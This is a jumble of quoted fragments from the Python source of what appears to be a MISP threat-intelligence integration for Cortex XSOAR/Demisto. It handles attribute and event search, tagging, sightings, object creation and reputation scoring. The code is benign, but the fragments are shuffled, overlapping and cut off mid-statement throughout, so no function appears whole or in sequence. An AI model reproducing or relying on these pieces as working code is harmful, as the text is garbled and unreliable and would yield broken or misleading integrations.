'EventID', 'ShadowAttribute': 'ShadowAttribute',", "requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2", "will be removed from the suspicious tag ids set and", "event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"),", "tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output", "in events[i]} events[i]['RelatedEvent'] = [] # there is no need", "= r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params =", "is_attribute=False): \"\"\" Function will remove tag to given UUID of", "try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise", "= replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute or", "dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain':", "scope). If the data is attribute's (is_event_level = false), and", "found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events =", "'-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args:", "\"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for", "After getting all the attributes which match the required indicator", "arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id =", "{value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches for all", "if \"SSLError\" in error: return_error('Unable to connect to MISP because", "timestamp from MISP response (1546713469) and converts it to human", "'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = {", "error: return_error('Unable to connect to MISP because of a SSLCertVerificationError,", "required indicator value, this function parses the response. This function", "\"\"\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in", "CommandResults includes all the indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response", "address: {value} is not valid\") if dbot_type == 'DOMAIN': if", "def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is", "tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return", "data is attribute's (is_event_level = false), and the tag is", "copy from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL)", "\"\"\"Execute a MISP search over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values", "(is_event_level = false), and the tag is only related to", "def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available in UT: test_build_misp_complex_filter.", "be scored by their event's threat level id. In such", "tag ids lists the indicator will be scored as malicious.", "reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error:", "'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \"\"\" Extracting", "PROXIES = handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL,", "event with ID: {event_id} has been successfully created.\\n\" return CommandResults(", "obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []):", "= demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise", "'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids':", "'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID',", "'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag',", "attribute's tag. If the data is event's (is_event_level = true)", "return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\"", "search returned from MISP to the context output format. \"\"\"", "case, the score will be BAD if the threat level", "ids. If there is an id that exists in both", "new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable =", "must be MISP. \"\"\" headers = {'Accept': 'application/json'} url =", "exist when this is an attribute level, default is '0'", "command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability,", "demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute()", "misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args)", "found_related_events = {} if not attributes_list: return None for attribute", "if dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str):", "} DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" )", "successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event )", "event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict)", "Please make sure the UUID and tag exist.\") if is_attribute:", "'compact' to True\"\"\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes", "Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn =", "match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE)", "Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this function", "'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event", "build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\" Convert the response", "for i in range(0, len(events)): # Filter object from keys", "-> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response", "set to 0 or not exists) it says that it", "{'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit =", "FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a domain", "'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for", "DemistoException(\"Adding the required tag was failed. Please make sure the", "INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP':", "misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\"", "handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets which include tag ids.", "is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in", "command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args,", "non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')})", "'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url':", "of event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in", "= parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score,", "MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response =", "1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID =", "see UT: test_extract_error. Args: error: list of responses from error", "pagination_message += f\"Showing page {page} out others that may exist\"", "tags (both malicious and suspicious) are stronger than events' tags.", "= [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] #", "'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} }", "if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given url: {value}", "raise DemistoException(\"limit should be zero or a positive number\") def", "MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() }", "event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot", "MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and values", "in order to get the information about the attributes. \"\"\"", "created in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'},", "in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score']", "was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None", "for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', [])", "outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes found in", "tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious =", "SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\"Error:", "\"\"\" Convert the response of event search returned from MISP", "def build_galaxy_output(given_object): \"\"\"given_object is attribute or event, depends on the", "str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg", "= {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in", "1 it says that it is an event's tag. Otherwise", "attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'),", "correct\" in error: return_error('Unable to connect to MISP, ' 'Please", "depends on the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [", "from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP,", "sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID':", "replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object has been added to", "in \"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in", "is not valid\") if dbot_type == 'URL': if not re.compile(urlRegex,", "all_attributes (dict): The parsed response from the MISP search attribute", "human_readable = f'Tag {tag} has been successfully added to event", "(Union[dict, list, str]): object to replace keys in Returns: Union[dict,", "human_readable = f'Object has been added to MISP event ID", "= response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page,", "tags ids (attribute tags and event tags). Args: value (str):", "the context output format. please note: attributes are excluded from", "event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')]", "rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event)", "command, the attrubite will be added to that existing event.", "and will be stayed only in the malicious one (as", "\"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org',", "'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') }", "'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true'", "any certificate option.') if \"NewConnectionError\" in error: return_error('Unable to connect", "= urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme", "as suspicious nor malicious will be scored by their event's", "value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args:", "'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k: v}", "to limit this list to include only the ID and", "if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids):", "we sort the attributes list by the event ids as", "required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response", "key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes =", "'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute", "'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from')", "is correct.') if \"Please make sure the API key and", "\"\", \"\" for event in events_to_human_readable: # removing those fields", "as delimiter for operators. using the operators is optional. if", "malicious is stronger than recognised as suspicious). \"\"\" common_ids =", "list: list containing dicts that GenericObjectGenerator can take. Examples: >>>", "= INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs,", "include only the ID and Name fields. In addition, returns", "a positive number\") if limit and limit < 0: raise", "if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format:", "event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response )", "args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations',", "add_object(event_id, obj) else: raise DemistoException( f'None of required arguments presents.", "been successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable,", "the arg 'compact' to True\"\"\" if isinstance(response_object, str): response_object =", "# removing those fields as they are shared by the", "found in MISP. please check it once again\") new_event =", "parameter could not be decoded, may not a valid JSON\\nattribute:", "MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events',", "* don't have any tags configured as suspicious nor malicious", "= None, internal: bool = False, demisto_args: dict = {},", "= copy.deepcopy(response) if include_correlations: # return full related attributes only", "= args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if", "the tag list. is_event_level (bool): Whether the attribute_dict was received", "scored_events = [] if found_tag: for attribute in all_attributes: event", "if set to True, will not post results to Demisto", "event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def", "= event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in", "to event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event),", "be used only in output hash_format = get_hash_type(value) if hash_format", "4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment':", "then the score is Unknown so no events should be", "if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args):", "file hash of format MD5, SHA-1 or SHA-256') if dbot_type", "demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id = attribute_id", "(bool): if set to True, will not post results to", "raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will remove", "added to related_events list Args: object_data_dict (dict): Event or attribute", "failed. Please make sure the UUID and tag exist.\") if", "human_readable = f\"## MISP add attribute\\nNew attribute: {value} was added", "removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',", "of attributes that will be written to the context Returns:", "demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict):", "value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj)", "again\") new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args)", "demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the", "Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command =", "for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] =", "attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE':", "be scored as malicious. - Attributes tags (both malicious and", "we remove the \"Related Attribute\" list and limits the tags", "MISP and then calculates it's dbot score. The score is", "uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) #", "Returns: GenericObjectGenerator: object created in MISP Example: args should look", "regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params", "def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \"FILE\": hash_type =", "ID: {event_id} has not found in MISP: \\nError message: {response}')", "if tag <= 0: raise DemistoException(f\"Tag id has to be", "{ 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event':", "v in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator:", "any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids) if", "page < 0: raise DemistoException(\"page should be zero or a", "command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif", "function was called from create event command, the attrubite will", "sets which include tag ids. If there is an id", "Exception(\"MISP V3 error: Please provide a valid value for the", "event object This function can be called as an independence", "return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score)", "dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update", "= False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',')", "misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and", "DemistoException('ID or UUID not specified') sighting_args = { 'id': attribute_id,", "if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp']", "for misp to perform complex query or if no complex", "attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids", "error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test", "dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query,", "'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution',", "UUID is an attribute's one. Otherwise it's event's. \"\"\" uuid", "Function will remove tag to given UUID of event or", "Malicious tag ids and Suspicious tag ids lists the indicator", "pythonify=True) if not response: raise DemistoException( f\"Error: An event with", "List, Dict from urllib.parse import urlparse import urllib3 from pymisp", "'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged',", "add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path =", "update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args,", "{'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename':", "raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes", "tag ids set and will be stayed only in the", "'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'),", "events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) #", "MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if not", "to replace keys in Returns: Union[dict, list, str]: same object", "prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if", "def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance =", "as malicious. suspicious_tag_ids (set): Tag ids should be recognised as", "big. User can use the command search-attributes in order to", "{}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name))", "in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp'))", "MISP attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type", ": Limits the number of attributes that will be written", "prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg", "object Returns: list: list containing dicts that GenericObjectGenerator can take.", "+= f\"Showing page {page} out others that may exist\" else:", "key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = []", "convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',", "template_name: template name as described in https://github.com/MISP/misp-objects args: arguments to", "not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise", "urls with feeds for example: https://www.misp-project.org/feeds/ feed format must be", "attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance,", "attributes. \"\"\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object =", "'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1,", "[{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err", "True\"\"\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute')", "{ 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL':", "args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args", "to MISP because of a SSLCertVerificationError, ' 'Please try to", "for item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key]", "in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return", "new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise", "because of a NewConnectionError, ' 'Please make sure your MISP", "hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash", "Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text', 'last_seen', 'first_seen'", "test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not", "event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object", "tags list. found_tag (str): The tag that was scored as", "events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if key", "attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable =", "event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID':", "tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if", "= tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context", "{json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids)", "'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name',", "'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS =", "} for event_object in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is", "= copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None", "DemistoException(f\"Error: The given email address: {value} is not valid\") def", "= argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if", "by the event ids as the greater event ids are", "obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips:", "else: raise DemistoException( f'None of required arguments presents. command {demisto.command()}", "in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute')", "Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The", ":= tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious:", "else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url =", "to MISP because of a NewConnectionError, ' 'Please make sure", "{'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object:", "\"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are", "'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid':", "all the events that have the tag (i.e found_tag) which", "This function goes over all the attributes that found (after", "tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\"", "Args: template_name: template name as described in https://github.com/MISP/misp-objects args: arguments", "in demisto_args} # Replacing keys and values from Demisto to", "dict, is_attribute=False): \"\"\" Function will add tag to given UUID", "if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error:", "it will be removed from the suspicious tag ids set", "'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID',", "the given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event,", "format must be MISP. \"\"\" headers = {'Accept': 'application/json'} url", "event with the given id: {event_id} was not found in", "In such case, the score will be BAD if the", "from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in", "controller demisto.debug(f\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\") return", "'\"') try: args = json.loads(attributes) if not isinstance(args, list): args", "guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp:", "for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious", "that existing event. \"\"\" attributes_args = { 'id': demisto_args.get('event_id'), #", "match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True", "event or attribute. is_attribute (bool): if the given UUID belongs", "def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path", "= {tag_id for tag_id in suspicious_tag_ids if tag_id not in", "dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The", "= tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if", "and galaxies lists. Eventually, the outputs will be a list", "please change the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid:", "\"\"\"Creating event in MISP with the given attribute args\"\"\" new_event", ":= tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious:", "raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event", "is only related to an attribute we would like to", "== 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command", "= [\"1\", \"2\", \"3\"] for event in found_related_events.values(): if event['Threat", "'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'),", "will be added to that existing event. \"\"\" attributes_args =", "{event_id} has not found in MISP: \\nError message: {response}') else:", "or suspicious. Args: all_attributes (dict): The parsed response from the", "in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else", "has not found in MISP: \\nError message: 